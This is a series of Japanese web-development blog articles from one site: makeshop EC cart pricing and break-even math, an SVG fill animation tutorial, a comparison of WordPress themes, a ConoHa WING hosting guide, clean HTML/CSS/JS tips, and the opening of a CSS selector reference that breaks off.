見落とされやすいのは商品登録数の上限です。プレミアムは10,000商品、エンタープライズは50,000商品で、50,000を超える場合は専用サーバープランの相談になります。「商品数に制限がない」と書いている解説を見かけますが、公式の料金表には明確に上限が書かれています。画像サーバーがプレミアムで100MBという点も、商品点数が多い店舗では早い段階で効いてきます（オプション「ギガプラス10」で最大10GBまで拡張可能）。 長期契約割引を使うといくらになるか プレミアムプランは契約期間をまとめると月額が下がります。1ヶ月契約を毎月更新するのが最も高くつきます。 契約期間月額（税込）割引率1ヶ月契約13,750円—6ヶ月契約13,063円5%OFF12ヶ月契約12,375円10%OFF24ヶ月契約11,688円15%OFF 長期契約の利用料は一括払いで、分割払いは受け付けていません。初期費用は割引の対象外です。また同一名義で複数契約する場合、2店舗目以降の初期費用11,000円が無料になる複数店舗割引もあります。この記事の計算はすべて割引なしの1ヶ月契約（13,750円）を基準にしています。24ヶ月契約なら固定費が月13,338円まで下がるため、後述の分岐点はその分だけ下がります。 なお、契約前に15日間のプレミアムプラン無料体験で管理画面を触れます。商品登録とカテゴリ設定を実際に何件か流してみると、自分の商材で運用が回るかは短時間で判断できます。 👉 MakeShop無料体験はこちら 「販売手数料0円」の実際｜固定費は月15,400円になる makeshopの「販売手数料0円」は現在も事実です。売上に対して何%かを持っていかれる仕組みは存在しません。ただしこれはカード決済手数料が0円という意味ではありません。カード決済を使う以上、決済サービスの費用が別に乗ります。 makeshop利用者向けの決済パッケージ「makeshopペイメント」でクレジットカード決済を使う場合、プレミアムプランは月額1,650円＋決済手数料3.19%〜、エンタープライズプランは月額0円＋3.14%です。したがってプレミアムの毎月の固定費は次のようになります。 内訳金額（税込）ショップ月額（プレミアム）13,750円makeshopペイメント（カード決済）1,650円毎月の固定費 合計15,400円初期費用（初回のみ）11,000円 出典：makeshop公式「makeshopペイメント」（2026年8月2日取得） 3.19%には適用条件がついている ここは見積もりを組むうえで一番重要な注意点です。公式の料金プラン表でプレミアムの決済手数料3.19%には注釈が付いており、その中身は「決済金額が、VISA/Mastercard と JCB/American Express/Diners のカード区分でそれぞれ月50万円以上の場合」です。つまり月商が小さいうちは3.19%が適用されない可能性があります。 条件を満たさないときの料率は公式サイトに掲載されていないため、この記事では確認できていません。したがって後述の分岐点は「3.19%が適用される前提での最も makeshop に有利な数字」であり、実際の分岐点はこれより上振れする可能性があります。見積もりを固める段階では、必ず自分の決済ボリュームを提示して個別に料率を確認してください。 ちなみに公式トップページには「クレジットカード決済手数料も3.14%〜」と書かれていますが、この3.14%はエンタープライズプランの料率です。プレミアムで検討している場合に3.14%で計算すると見積もりがずれます。決済まわりを詰めるときは、料率と同時にサイトに掲載する決済ブランドロゴのルールも確認しておくと、公開直前の手戻りを減らせます。 自分の月商で損益分岐を計算する ここからが本題です。月額を並べただけの比較記事では判断できません。固定費と手数料を合算した実効コスト率に直すと、どのカートが自分にとって安いかが一意に決まります。手元の数字を3つ用意すれば5分で出せます。 手順1｜自分の3つの数字を出す 直近3ヶ月の平均月商（円） 同じ期間の平均月間注文件数（件） 客単価＝月商 ÷ 注文件数（円） これから開業する場合は、目標月商と想定客単価を入れます。客単価が必要なのは、BASEスタンダードのように1注文あたり40円といった従量手数料を持つプランがあるためです。客単価が低いほど、件数課金のあるプランは不利になります。 手順2｜実効コスト率を計算する 使う式は1本だけです。 実効コスト率（%）＝ 月額固定費 ÷ 月商 × 100 ＋ 決済手数料率（%） ＋ サービス利用料率（%） ＋ 1件あたり固定手数料 ÷ 客単価 × 100 makeshopプレミアムを月商50万円で当てはめると、15,400 ÷ 500,000 × 100 ＝ 3.08%、これに決済手数料3.19%を足して6.27%です。サービス利用料と件数課金は0なので加算されません。同じ条件のBASEスタンダードは、固定費0％＋決済3.6%＋サービス利用料3%＋40円÷客単価5,000円×100（＝0.8%）で7.40%になります。この時点でmakeshopのほうが安いと判定できます。 客単価5,000円で月商を動かしたときの実効コスト率をまとめると次のとおりです。送料・梱包費・広告費は含めず、カート利用にかかる費用だけを対象にしています。 月商makeshop プレミアムBASE スタンダードカラーミー ラージ30万円8.32%7.40%6.39%50万円6.27%7.40%5.11%100万円4.73%7.40%4.15%300万円3.70%7.40%3.51% BASEスタンダードの行が7.40%で一定なのは、固定費が0円で率だけの課金だからです。固定費を持つプランは月商が増えるほど率が下がり、どこかで必ず交差します。この交差点が損益分岐点です。 手順3｜分岐点と照合して合否を判定する 分岐点は「固定費の差 ÷ 手数料率の差」で求まります。makeshopとBASEスタンダードなら、固定費の差は15,400円、率の差は（3.6%＋3%＋40円÷客単価）−3.19% です。客単価別に解くと次の値になります。 客単価BASEスタンダードとの分岐月商3,000円約32.5万円5,000円約36.6万円10,000円約40.4万円 合否ラインはこうなります。自分の月商が上表の値を超えていれば、makeshopの固定費は回収できています。超えていなければ固定費が重いだけなので、固定費0円のBASEスタンダードのほうが安く済みます。 ここで止めずに、もう1つだけ確認してください。分岐点を超えていても、カラーミーショップ ラージとの差額（月5,805円・年間69,660円）を機能差で正当化できないなら、makeshopを選ぶ理由は価格側には残りません。両者はカード決済手数料が同じ3.19%〜なので、月商がいくら増えてもこの差は一定です。BtoB受注・卸売の作り込み、エンタープライズへの移行余地、伴走型のサポートといった価格以外の要素で説明できるかどうかが、実質の判断ポイントになります。 この「固定費と手数料率を1つの実効率に畳んでから分岐点を出す」やり方は、カートに限らずプラットフォーム手数料の判断すべてに使えます。たとえばApp Storeの手数料を15%に下げる申請で得かどうかを見るときも、考え方はまったく同じです。 最後に必ず再確認してください。ここに載せた金額はすべて2026年8月2日時点の公式ページの値です。SaaSの価格は改定されます。計算を終えたらmakeshop公式の料金プランページと各社の料金ページで当月の実額を突き合わせ、数値が変わっていたら固定費と料率だけ差し替えて同じ式に入れ直してください。式そのものは価格改定の影響を受けません。 他ASPとの実額比較（2026年8月2日取得） 比較に使った各社の現行価格を分けて掲載します。項目が多いので、固定費の表と手数料の表に分けています。価格はすべて各社の公式料金ページから直接取得したものです。 ### [SVGロゴが描かれるローディングアニメーション｜実装ガイド](https://codequest.work/reveal-fill-svg-animation/) はじめに SVGアニメーションは、Webデザインに動きを加えるための強力な手法です。今回は、SVGのパスを順番に塗りつぶす RevealFill アニメーションを実装する方法を紹介します。 このアニメーションでは、 Intersection Observer API を使用し、SVGが画面内に入ったときに順番に塗りが適用されるようにします。 RevealFillアニメーションとは？ RevealFillは、SVGの各パーツが順番に塗りつぶされるアニメーションです。この手法を使うことで、ロゴやアイコンをより魅力的に表示できます。 今回のアニメーションは、 SVG Artista を使って作成しました。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 実装手順 1. SVGの準備 SVG Artista で作成したアニメーション付きの SVG を準備します。SVG には各パーツごとにクラスが付与され、fill のトランジションが適用されます。 <svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" viewBox="0 0 1448 1447" preserveAspectRatio="xMidYMid meet"> <g> <path class="svg-elem-1" d="M6995 14464 c-169 -7..."></path> <path class="svg-elem-2" d="M6910 12699 c-964 -59..."></path> <!-- 他のパス --> </g> </svg> このSVGの fill プロパティをアニメーションで適用するように設定します。 2. CSSの設定 CSSを使用して、SVGが .active クラスを持ったときに塗りが適用されるようにします。 svg .svg-elem-1, svg .svg-elem-2 { fill: transparent; transition: fill 0.7s cubic-bezier(0.47, 0, 0.745, 0.715) 0.8s; } svg.active .svg-elem-1 { fill: #000; } svg.active .svg-elem-2 { fill: #000; } 3. JavaScriptで画面内に入ったら .active を追加 JavaScript で Intersection Observer API を使用し、SVGが画面内に入ったときに .active クラスを追加します。 document.addEventListener("DOMContentLoaded", function () { const svgElement = document.querySelector("svg"); const observer = new IntersectionObserver((entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { svgElement.classList.add("active"); observer.unobserve(svgElement); // 監視を停止 } }); }, { threshold: 0.2 }); if (svgElement) { observer.observe(svgElement); } }); 4. SVGを中央に配置し、幅を50%に設定 画面中央に配置し、幅を50%にするCSSを追加します。 svg { width: 50%; height: auto; display: block; margin: 0 auto; } まとめ SVG Artista でアニメーション付きの SVG を作成 CSS で fill のトランジションを設定 JavaScript で Intersection Observer を使って .active クラスを追加 CSSで中央配置 & 幅50% に調整 この方法を使えば、シンプルで視覚的に魅力的なSVGアニメーションを実装できます！ ぜひSVGアニメーションを試してみてください！ 🚀 ロゴ以外のローディング演出も検討したい場合は、ページ遷移アニメーションをコピペで使える無料ツールでスピナー・プログレスバー・スケルトンUI風などを再生しながら比較できます。 よくある質問（FAQ） Q. SVGロゴアニメーションとは何ですか？ SVGファイルのパス情報を活用し、ロゴが描かれていくような動きを表現するアニメーションです。stroke-dasharrayとstroke-dashoffsetで線が引かれるアニメーションを作成し、完了後にfill（塗り）をフェードインさせることで、RevealFill（描画→塗りつぶし）の2段階アニメーションが実現します。 Q. SVGアニメーションにはどんなツールが必要ですか？ SVGファイルの作成にはIllustratorやFigma、無料ではInkscapeが使えます。作成したSVGをテキストエディタで開き、path要素のd属性を確認します。アニメーションの実装にはCSSのみ、またはJavaScript（GSAP推奨）を使います。GSAPのDrawSVGプラグインを使うとパスの描画アニメーションが簡潔に記述できますが、無料のstroke-dashoffset手法でも同等の効果が得られます。 ### [WordPressのテーマ比較｜既存テーマ vs オリジナルテーマ](https://codequest.work/wordpress-original-theme-vs-existing-theme/) 1. はじめに WordPressでサイトを作る際、既存のテーマを使うか、オリジナルテーマを作るかという選択肢があります。どちらにもメリット・デメリットがあり、目的に応じた選択が重要です。本記事では、両者の違いを比較し、それぞれの特徴を解説します。 2. 既存テーマとは？ 2-1. 既存テーマの種類 WordPressには、多くの既存テーマが提供されています。 無料テーマ：Cocoon, Lightning, Astra など 有料テーマ：SWELL, THE THOR, SANGO など テーママーケット：ThemeForest, Envato Market など 2-2. 既存テーマのメリット ✅ すぐにサイトを公開できる✅ コストを抑えられる（無料テーマなら費用ゼロ）✅ デザインや機能が整っている✅ 初心者でも扱いやすい 2-3. 既存テーマのデメリット ❌ カスタマイズの制限がある❌ デザインが他のサイトと被る可能性がある❌ 不要な機能が多く、サイトが重くなることも❌ 更新やサポートに依存する 👉 個人ブログや簡単なサイトには最適。ただし、カスタマイズの自由度は低い。 3. オリジナルテーマとは？ 3-1. オリジナルテーマの特徴 オリジナルテーマは、ゼロから自分でデザイン・機能を開発するWordPressテーマです。 3-2. オリジナルテーマのメリット ✅ 自由なカスタマイズが可能✅ 軽量で高速なサイトを作れる✅ SEO対策を最適化しやすい✅ サイトの独自性が高い✅ 仕事や案件に活用できる 3-3. オリジナルテーマのデメリット ❌ 開発に時間がかかる❌ コーディングスキルが必要❌ メンテナンスを自分で行う必要がある 👉 スキルがあれば、独自性の高いサイトを作れる。特に仕事向けに有利。 4. 比較表｜既存テーマ vs オリジナルテーマ 比較項目既存テーマオリジナルテーマコスト無料〜有料テーマ開発コストが発生カスタマイズ性制限あり完全自由デザインの独自性低い高いSEO対策設定次第最適化しやすいサイトの高速化不要な機能が多い場合がある軽量化しやすい学習コスト低い（初心者向け）高い（スキルが必要）仕事の幅限定的案件に活用しやすい 👉 簡単にサイトを作るなら既存テーマ、自由に作りたいならオリジナルテーマ！ 5. まとめ 既存テーマは初心者向けで、手軽にサイトを作れる オリジナルテーマはカスタマイズ自由で、仕事や案件向けに最適 目的やスキルに応じて最適なテーマを選ぼう！ よくある質問（FAQ） Q. WordPressの既存テーマとオリジナルテーマの違いは？ 既存テーマは既製品で導入が簡単ですが、カスタマイズに限界があります。オリジナルテーマは完全自由設計ですが、HTML/CSS/PHPの知識と開発時間が必要です。案件の予算・期間・要件に応じて選択してください。 Q. オリジナルテーマを作るメリットは？ 不要なコード・機能がないため表示速度が速く、デザインの自由度が高く、セキュリティリスクも低減できます。テーマ更新による意図しない変更もなく、長期運用に適しています。 Q. WordPressテーマ開発に必要なスキルは？ HTML/CSS/JavaScriptの基礎、PHPの基本構文、WordPressのテンプレート階層・テンプレートタグ・フック（add_action/add_filter）の理解が必要です。子テーマの作成から始め、段階的にフルスクラッチ開発に進むのが学習効率の良い方法です。 ### [ConoHa WINGは自分に合うか｜契約前の確認と初期設定](https://codequest.work/conoha-wing-beginner-guide/) ConoHa WINGのWINGパックとは、契約期間分の料金を一括で前払いする代わりに月額が下がる長期利用割引プランで、契約期間中の途中解約はできません。つまりこのサーバーを選んでよいかどうかは、速度や特典より先に「決めた期間ぶんの料金を先に払い切れるか」で決まります。 この記事で扱うのはConoHa WING（コノハウィング）です。GMOインターネットが提供する共用レンタルサーバーで、本サイトもConoHa WINGで運用しています。 ここでは、料金・ドメイン特典・解約条件を2026年8月2日時点の公式ページで実際に確認し、申し込みボタンを押す前に見ておく条件と、契約した直後に直しておく設定だけをまとめます。掲載した数値にはすべて取得日を添えているので、読んだ時点でご自身でも公式ページを開いて突き合わせてください。料金は変わるものです。 ConoHa WINGが合う人・合わない人 先に判定材料を出します。次の3つの条件を上から順に自分に当てはめると、その場で「申し込んでよい」「別を検討したほうがよい」が決まります。判定に必要な数値はすべてこのあとの見出しで根拠つきに示します。 確認する条件これならOKこれなら別を検討契約期間を先に決められるか3〜36ヶ月のどれかを決め、その期間ぶんを一括で払える続くか分からないので月単位で払いたい／短期で解約する可能性がある使いたいドメインが永久無料の20種類に入るか.com や .net、.blog など20種類の中にある.dev、.io、.app、.jp など20種類の外にある無料お試しなしで踏み切れるか仕様と料金を読んで判断できる管理画面を実際に触ってから決めたい条件は2026年8月2日時点の公式情報に基づく 3つとも左側なら、この記事の後半（契約後に直す設定）まで読み進めて問題ありません。1つでも右側に当てはまった場合は、回避策があるものとないものに分かれます。契約期間の条件は「通常料金」という別の料金タイプで回避でき、ドメインの条件は他社でドメインだけ取れば回避できます。ただし「触ってから決めたい」だけは回避策がありません。ConoHa WINGには無料お試し期間そのものが存在しないためです。 そもそもサーバーを何で選ぶかから決め直したい場合は、用途を起点にしたポートフォリオ公開用レンタルサーバーの選び方を先に読むほうが早く決まります。この記事は「ConoHaにほぼ決めている人」向けに、契約条件だけを詰める内容です。 WINGパックは一括前払いで、途中解約ができない これが契約前に最も確認すべき条件です。公式の料金ページには、料金表の直下に次の注記が並んでいます（2026年8月2日確認）。 ※WINGパックご契約期間中の途中解約を承る事はできません。※WINGパックはご契約期間分の料金を一括前払いでお支払いいただきます。月単位での分割払いには対応しておりませんのであらかじめご了承ください。 出典：ConoHa WING 料金（公式）（2026年8月2日取得） したがって「月額678円のサーバー」という読み方は正確ではありません。678円は36ヶ月ぶんを一括で前払いしたときの1ヶ月あたりの金額であり、実際に申し込み時点で払うのは36ヶ月ぶんの総額です。ベーシックプランの契約期間別に、月額とその期間ぶんの前払い総額を並べます。 契約期間月額（キャンペーン価格・税込）前払い総額の目安3ヶ月1,331円3,993円6ヶ月1,210円7,260円12ヶ月937円11,244円24ヶ月885円21,240円36ヶ月678円24,408円ベーシックプラン。月額は2026年8月2日に公式料金ページで確認したキャンペーン価格 前払い総額は月額に契約月数を掛けた目安です。公式ページに「消費税の端数処理により表示価格と請求金額に誤差がでることがあります」と注記があるため、請求額が数円ずれることがあります。また、この月額は2026年8月5日16:00までに新規申し込みした場合に適用されるキャンペーン価格です。キャンペーン終了後の価格は公式ページに掲載されていないため、この記事では恒久的な価格として扱いません。申し込み前に必ず公式の料金ページで当日の価格を確認してください。 最低利用期間と初月無料特典の位置づけ 公式の機能一覧では最低利用期間が「無し」と表記されていますが、その脚注に「WINGパックをご利用の場合、最低3ヶ月の利用期間が発生します」とあります（ConoHa WING 機能一覧・仕様／2026年8月2日取得）。最低利用期間が無いのは時間課金の「通常料金」のほうで、WINGパックは3ヶ月が下限です。 無料お試し期間の代わりに用意されているのが「初月の料金は無料」という特典です。公式の説明では、WINGパックの契約期間は申し込み月の翌月から始まり、申し込んだ日から契約期間が始まるまでの利用料は無料になります。そのため月初に申し込むと最大31日間ぶんが無料になります。裏を返すと、月末に申し込むほどこの特典で得られる無料期間は短くなります。 一括前払いを避けたいなら通常料金という選択肢がある WINGパック以外に「通常料金」という料金タイプがあり、こちらは時間単位の課金です。ベーシックプランで1時間2.5円、1ヶ月の上限が1,452円と公式の料金ページに掲載されています（2026年8月2日取得）。長期の前払いも途中解約の縛りもないため、「まず触ってから決めたい」に最も近い選び方はこちらです。 ただし、独自ドメイン永久無料も初月無料もWINGパック限定の特典です。通常料金で始めると月額は上がり特典も付きません。「短く試したい」と「特典を取りたい」は両立しないので、どちらを優先するかを先に決めてください。 独自ドメイン永久無料は、使いたいドメインが対象か先に確認する WINGパックの「独自ドメインが2つ永久無料」は事実ですが、対象は次の20種類に限られます。公式の料金ページにも「人気の20種類から選べます」と明記されています（2026年8月2日確認）。 .com ／ .net ／ .xyz ／ .tokyo ／ .info ／ .biz ／ .org ／ .shop ／ .click ／ .link ／ .pw ／ .blog ／ .club ／ .fun ／ .games ／ .online ／ .site ／ .space ／ .tech ／ .website 問題は、開発者やWeb制作者が使いたがるドメインがこの20種類からほぼ外れていることです。ConoHaのドメイン料金表（2026年8月2日取得）から、外れているものを抜き出します。 使いたいドメイン永久無料の対象対象外の場合の新規取得料（年額・税込）.dev対象外ConoHaでは取り扱いがない.io対象外10,758円.app対象外2,728円.design対象外7,788円.jp対象外3,058円.work対象外1,848円.me対象外3,278円.co対象外5,478円2026年8月2日にConoHaのドメイン料金表で確認。取り扱いは全45種類 つまり「自分の名前.dev でポートフォリオを出したい」という人は、ConoHa WINGでそのドメインを取ること自体ができません。特典が効かないだけでなく取り扱いが無いため、他社でドメインだけ取得してConoHaのサーバーに向ける形になります。契約してから気づくと選び直しになるので、申し込み前に確認してください。 もう1つ見落としやすいのが2つ目のドメインです。公式ページの脚注に「2つ目に取得する独自ドメインは、8種類（.online／.space／.website／.tech／.site／.fun／.tokyo／.shop）からお選びいただけます」とあります。1つ目と同じ20種類から選べるわけではありません。 なお .jp を無料で使いたい場合は結論が逆転します。エックスサーバーの独自ドメイン永久無料特典は、スタンダードが11種類（.com／.net／.org／.info／.biz／.xyz／.link／.click／.blog／.online／.site）なのに対し、プレミアム以上では .jp が対象に加わります（エックスサーバー 料金プラン／2026年8月2日取得）。.jp が必須条件ならそちらを検討し、手順はエックスサーバーのWordPressインストール手順にまとめています。 速度の「No.1」表記が何を指しているかを公式の脚注で確認する ConoHa WINGの公式表記は「サーバー処理速度No.1」であり、その脚注には計測条件が書かれています。2026年8月2日に公式の特長ページ（ページ内の最終更新表記は2026年4月）で確認した原文がこちらです。 ※1 2026年5月自社調べ。サーバー処理速度の計測結果は、日本国内シェアを90%以上占めたトップ10サービスの、各サービスの最下位プランをh2loadとApache Benchで5回計測した平均値です。計測時の接続元サーバーは、すべてのサービスにおいて、第三者サービスの同一サーバーを利用して条件が公平になるように計測しています。 ここから読み取れることは2つです。第一に、この結果は第三者機関ではなく自社調べです。第二に、h2loadとApache Benchが測っているのはサーバーが1秒あたりに何件のリクエストを返せるかであって、自分のサイトが読者の画面に表示されるまでの速さではありません。同じページに載っている他のNo.1表記と根拠の質を並べると違いがはっきりします。 公式の表記脚注に書かれた根拠読み方サーバー処理速度No.12026年5月自社調べ。h2loadとApache Benchで5回計測した平均値第三者調査ではない。測っているのはサーバーの応答処理稼働率99.99%以上SLA制度の品質保証内容に基づいた2024年3月〜2025年3月の実績値自社の数値だが、期間と制度が示されていて検証しやすいホスティングサービス国内シェアNo.12025年4月builtwithの調査結果第三者データに基づく。3つの中では最も外部性が高い2026年8月2日に公式の特長ページで確認 サーバーが速いことと自分のサイトが速いことは別の話です。画像の重さ、テーマやプラグインのJavaScript、外部スクリプトの読み込みは、どのサーバーを選んでも自分で直すしかありません。契約後に自分のサイトの表示速度を測るところから始めるなら、PageSpeed Insightsのスコアの見方と改善の進め方を先に読んでください。サーバー選びで悩む時間より、そちらのほうが体感の改善幅は大きくなりがちです。 2026年8月時点のプランとスペック プランは判断材料になる数値で比べます。個人ブログやポートフォリオならベーシックで足りますが、その根拠になる数字を出しておきます。ここで出てくるWebサーバーやデータベースといった構成要素の関係が曖昧な場合は、HTML・WordPress・メールのサーバー構成の基本を先に読むと表の意味が通ります。 項目ベーシックスタンダードSSD容量500GB600GBメモリ（目安値）8GB12GBvCPU（目安値）6コア8コアWINGパック料金678円/月〜1,925円/月〜通常料金1,452円/月2,640円/月2026年8月2日に公式の機能一覧・仕様で確認。WINGパック料金はキャンペーン価格 プランによらず共通の仕様も押さえておくと、上位プランを検討する必要があるかどうかが判断できます。以下はいずれも公式の機能一覧・仕様（2026年8月2日取得）に記載された内容です。 Webサーバーは Apache + nginx。OSは CloudLinux、ストレージは RAID10 構成 転送量課金は無し、転送量の目安は無制限。サイト数・ドメイン数・メールアドレス数も無制限 データベースは MySQL で、容量は1個あたり5.0GB。 ### [クリーンコードとは？HTML/CSS/JavaScriptのベストプラクティス｜レイアウトと整列](https://codequest.work/clean-html-css-best-practices/) Web開発において、HTML/CSS JavaScriptのコードが整理されていないと、修正や拡張が困難になります。クリーンなコードを意識することで、可読性や保守性が向上し、開発効率もアップします。本記事では、クリーンなHTML/CSSを書くためのベストプラクティスを解説し、レイアウト・整列のポイントについても詳しく紹介します。 ソフトウェア開発における「クリーンコード」という概念は、ロバート・C・マーチン（通称アンクル・ボブ）によって提唱されました。彼の著書『Clean Code: A Handbook of Agile Software Craftsmanship』では、可読性が高く、バグが発生しにくいコードを書くための原則が紹介されています。これは単に動作するコードを作るだけでなく、他の開発者が理解しやすく、メンテナンスしやすいコードを作ることを目的としています。 HTML/CSSにおいても、クリーンコードの考え方は非常に重要です。整理されたコードは、保守コストを削減し、パフォーマンスを向上させ、チーム開発の効率を高めます。また、検索エンジン最適化（SEO）にも好影響を与えるため、Web制作において欠かせない概念となっています。 1. HTML 1-1. HTML HTMLの構造が適切であることは、クリーンなコードの基本です。<div> の乱用を避け、適切なHTMLタグを使用しましょう。 <!-- NG: divを多用 --> <div class="header"> <div class="nav"> <div class="menu-item">Home</div> <div class="menu-item">About</div> </div> </div> <!-- OK: セマンティックなHTML --> <header> <nav> <ul> <li><a href="#">Home</a></li> <li><a href="#">About</a></li> </ul> </nav> </header> 1-2. インデントは統一し、読みやすい構造を維持しましょう。 <section> <article> <h2>タイトル</h2> <p>記事の内容</p> </article> </section> 1-3. ID CSSの管理がしやすいように、BEM（Block Element Modifier）命名規則を活用すると良いでしょう。 <!-- NG: クラス名が一貫していない --> <div class="blue-btn">Click me</div> <!-- OK: BEMを使用 --> <button class="button button--primary">Click me</button> 2. CSS 2-1. CSSのプロパティの並び順を統一すると、可読性が向上します。 /* OK: プロパティを整理 */ .button { display: inline-block; width: 120px; height: 40px; margin: 10px; padding: 8px; color: white; background: #007bff; border: none; transition: all 0.3s ease; } 2-2. 過剰なセレクタを避ける /* NG: ネストが深すぎる */ .container .content .section .box .title { color: red; } /* OK: シンプルなセレクタを使用 */ .title { color: red; } 2-3. ショートハンドを活用する /* NG */ border-width: 1px; border-style: solid; border-color: black; /* OK */ border: 1px solid black; 3. CSS 3-1. Flexbox .container { display: flex; justify-content: center; align-items: center; height: 100vh; } 3-2. Gridレイアウトで柔軟な配置を実現 .grid-container { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; } .grid-item { background: lightgray; padding: 20px; } 3-3. レスポンシブデザインを意識する @media (max-width: 768px) { .container { flex-direction: column; } } 4. 4-1. CSS Chrome DevToolsの「Coverage」機能を活用し、未使用のCSSを削除。 4-2. !important /* NG */ .button { background: red !important; } /* OK */ .button--danger { background: red; } 4-3. 変数を活用する :root { --primary-color: #007bff; --secondary-color: #ff5733; } .button { background: var(--primary-color); } 5. JavaScript 5-1. 適切な命名規則を使用し、変数の意味を明確にすることでコードの可読性を向上させます。 // NG: 意味不明な変数名 let x = 10; let y = "Hello"; // OK: 意味のある変数名を使用 let userAge = 10; let greetingMessage = "Hello"; 1-2. コードの再利用性を意識する（関数化） // NG: 同じ処理を繰り返し記述 console.log("Welcome, John!"); console.log("Welcome, Sarah!"); // OK: 関数を定義して再利用 function greetUser(name) { console.log(`Welcome, ${name}!`); } greetUser("John"); greetUser("Sarah"); 1-3. ES6+ の機能を活用する // NG: varを使用（スコープの問題が発生しやすい） var count = 5; // OK: let/constを使用 let count = 5; const MAX_USERS = 100; 6. クリーンなHTML/CSSを書くことで、コードの可読性が向上し、保守性が高まります。以下のポイントを押さえておきましょう。 ✅ セマンティックなHTMLタグを使用し、構造をわかりやすくする。✅ CSSの記述ルールを統一し、管理しやすくする。✅ Flexbox / Gridを活用して整ったレイアウトを作る。✅ 不要なコードを削除し、パフォーマンス向上を図る。✅ レスポンシブデザインを考慮し、あらゆるデバイスで適切に表示。 これらを意識することで、スムーズな開発が可能になります。クリーンなコードで効率的なWeb制作を目指しましょう！ よくある質問（FAQ） Q. クリーンコードを書くメリットは？ 読みやすく保守しやすいコードになるため、チーム開発の効率が上がります。バグの発見も早くなり、長期的な開発コストを削減できます。 よくある質問（FAQ） Q. クリーンコードとは何ですか？ 可読性が高く、保守しやすく、意図が明確に伝わるコードのことです。Robert C. Martinの著書「Clean Code」で体系化された概念で、命名規則・関数の単一責任・適切な抽象化・テスト可能性が主要な原則です。 Q. HTMLのクリーンコードで重要なポイントは？ セマンティックなタグの使用（divの多用を避ける）、適切なインデント、不要なクラスの削減、アクセシビリティ属性の付与が重要です。「div地獄」を避け、header・nav・main・section・articleなどの意味のあるタグを活用してください。 Q. CSSのクリーンコードの原則は？ BEMやFLOCSSなどの命名規則の統一、プロパティの記述順序の一貫性、不要なセレクタの深いネストの回避、カスタムプロパティ（CSS変数）による値の一元管理が基本です。200〜400行以内に収まるファイル分割も重要です。 ### [【完全保存版】CSSセレクタ一覧｜基本から応用まで実例付きで徹底解説](https://codequest.work/css-selector-complete-guide/) フロントエンドエンジニアが覚えておくべきCSSのセレクタと関連技術をまとめます。以下のリストには、基本セレクタ、疑似クラス、疑似要素、属性セレクタ、関係セレクタ、および複雑なセレクタを含みます。 CSSセレクタとは、HTML要素を特定してスタイルを適用するためのパターン記述のことです。クラスセレクタ（.button）やID（#header）などの基本形から、:nth-child()のような疑似クラス、:has()のような新しい関係性セレクタまで、用途に応じて50種類以上が用意されています。本記事では、実務で頻出する基本セレクタから2024年以降に主要ブラウザでサポートされた最新セレクタまで、コード例付きで体系的に解説します。 主要CSSセレクタ早見表（チートシート） 実務で頻出するCSSセレクタをカテゴリ別に20種類まとめました。各セレクタの構文と簡単な用途、コード例をまとめています。ブックマークして辞書代わりにご活用ください。 カテゴリセレクタ用途コード例基本*全要素* { box-sizing: border-box; }基本要素名要素を選択p { margin: 0; }基本.classクラスで選択.btn { padding: 8px; }基本#idIDで選択（1ページに1つ）#header { position: fixed; }基本A, B複数まとめて選択h1, h2 { font-weight: bold; }関係性A B子孫すべてnav a { color: blue; }関係性A > B直接の子のみul > li { list-style: none; }関係性A + B直後の隣接兄弟h2 + p { margin-top: 0; }関係性A ~ B後続の兄弟すべてh2 ~ p { color: gray; }属性[attr]属性を持つ要素[required] { border: red; }属性[attr="val"]属性値が完全一致[type="email"] { ... }属性[attr^="val"]属性値が前方一致[href^="https"] { ... }属性[attr$="val"]属性値が後方一致[href$=".pdf"] { ... }疑似クラス:hoverマウスオーバー時a:hover { color: red; }疑似クラス:nth-child(n)n番目の子要素li:nth-child(2n) { ... }疑似クラス:not(S)Sに該当しない要素li:not(.active) { ... }疑似クラス:is(A, B)複数の一括指定:is(h1, h2, h3) { ... }疑似クラス:where(A, B)詳細度0で一括指定:where(h1, h2) { ... }疑似クラス:has(S)Sを子に持つ親要素.card:has(img) { ... }疑似要素::before / ::after要素の前後に挿入.icon::before { content: "★"; } 実際に手を動かして確認できるツールも用意しました。 CSSセレクタ辞典（44種）を試す HTMLのidとclass — セレクタの土台を理解する CSSセレクタを正しく使いこなすには、HTMLのid属性とclass属性の違いを理解しておくことが不可欠です。この章では、実務での使い分けの指針を解説します。 id属性の特徴 ページ内で一意（1ページ内で同じidは1つだけ） 主な用途 JavaScriptで特定要素を取得 ページ内リンクのアンカー（<a href="#contact"> など） <div id="contact"> <h2>お問い合わせ</h2> </div> class属性の特徴 複数の要素で共有可能 主な用途 CSSで共通デザインを適用 複数要素をまとめて扱う <div class="card"> <h3>商品タイトル</h3> <p>商品説明</p> </div> 使い分けの指針 デザインやレイアウトのスタイル指定 → class ページ内で唯一の要素や目印 → id セクション単位（about, service, contact など）にはidを付与 再利用する小ブロックやデザイン要素はclassで管理 <main> <section id="about" class="section section-about"> <h2>私たちについて</h2> <p>会社概要や理念...</p> </section> <section id="service" class="section section-service"> <h2>サービス</h2> <div class="card">サービスA</div> <div class="card">サービスB</div> </section> <section id="contact" class="section section-contact"> <h2>お問い合わせ</h2> <form>...</form> </section> </main> HTML構造タグとセレクタの関係 セマンティックな構造タグを正しく使うことで、CSSセレクタの設計がシンプルになり、SEOやアクセシビリティも向上します。 よく使う構造タグ <header>：ページやセクションのヘッダー部分 <main>：ページの主要コンテンツ（1ページに1つ） <section>：意味を持つまとまり <article>：独立して成立する記事や投稿 <aside>：補足情報（広告やサイドバーなど） <footer>：ページやセクションのフッター部分 構造タグを活用したセレクタ設計例 /* 構造タグを要素セレクタとして活用 */ main article h2 { font-size: 24px; } aside p { color: #666; } nav a:hover { text-decoration: underline; } /* classと組み合わせてより明確に */ section.hero { background: #f0f0f0; } footer .copyright { text-align: center; } よくある間違い divやspanを多用して構造タグを使わない → SEOやアクセシビリティに不利 idを複数箇所で使ってしまう → JavaScriptで誤動作 mainを複数設置 → ページ構造が崩れる CSSセレクタ完全リスト 1. 基本セレクタ セレクタ説明例要素セレクタ特定のHTML要素を選択p { color: red; }クラスセレクタクラス属性を持つ要素を選択.button { color: blue; }IDセレクタID属性を持つ要素を選択#header { font-size: 18px; }ユニバーサルセレクタすべての要素を選択* { margin: 0; } 2. 関係性セレクタ 